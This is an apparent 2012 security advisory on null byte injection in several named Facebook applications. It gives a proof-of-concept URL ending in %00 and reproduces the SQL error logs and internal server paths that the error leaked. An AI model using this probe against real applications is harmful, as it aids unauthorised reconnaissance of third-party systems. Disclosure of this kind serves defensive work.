Facebook Applications Null Byte Injection

`Title  
=====  
Facebook Application Null Byte Injection  
  
  
Date   
====  
25/01/2012  
  
  
Author  
======  
<[email protected]>  
  
  
Bug   
===  
Null Byte Injection  
  
  
Introduction  
============  
The application is currently included and viewable by all facebook users.  
  
Facebook is a social networking service and website launched in February 2004, operated and privately owned   
by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create   
a personal profile, add other users as friends, and exchange messages, including automatic notifications when   
they update their profile. Facebook users must register before using the site. Additionally, users may join   
common-interest user groups, organized by workplace, school or college, or other characteristics.   
  
(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook)  
  
  
Vulnerability  
=============  
Once you open the link, there will be an error like e.g, SQL error.   
- http://apps.facebook.com/chev_test_fre/  
- http://apps.facebook.com/worldwide_dev/  
- http://apps.facebook.com/morgans_test/  
- http://apps.facebook.com/chev_test_ita/  
  
  
Exploitation Technique  
======================  
Remote   
  
  
Injectable (Proof Of Concept)  
=============================  
- http://apps.facebook.com/chev_test_ita/%00  
  
  
SQL Error Logs  
==============  
Warning (512): SQL Error: 1048: Column 'language_id' cannot be null [CORE/cake/libs/model/datasources/dbo_source.php, line 681]  
Code | Context  
  
$out = null;  
if ($error) {  
trigger_error('<span style="color:Red;text-align:left"><b>' . __('SQL Error:', true) . "</b> {$this->error}</span>", E_USER_WARNING);  
  
$sql = "INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests/index', '{type:\"hit\"}', '2012-01-25 00:33:17')"  
$error = "1048: Column 'language_id' cannot be null"  
$out = null  
  
Query: INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests  
  
Warning (2): require(webroot/css/main-.css) [function.require]: failed to open stream: No such file or directory [APP/views/layouts/facebook.ctp, line 36]  
Code | Context  
  
Fatal error: require() [function.require]: Failed opening required 'webroot/css/main-.css' (include_path='/var/www/html/chev_dale_ita:/var/www/html/chev_dale_ita/app/:.:/usr/share/pear:/usr/share/php') in /var/www/html/chev_dale_ita/app/views/layouts/facebook.ctp on line 36  
  
  
Severity  
========  
High  
  
  
Risk  
====  
As data is parsed, an injected NULL character or NULL byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted.  
`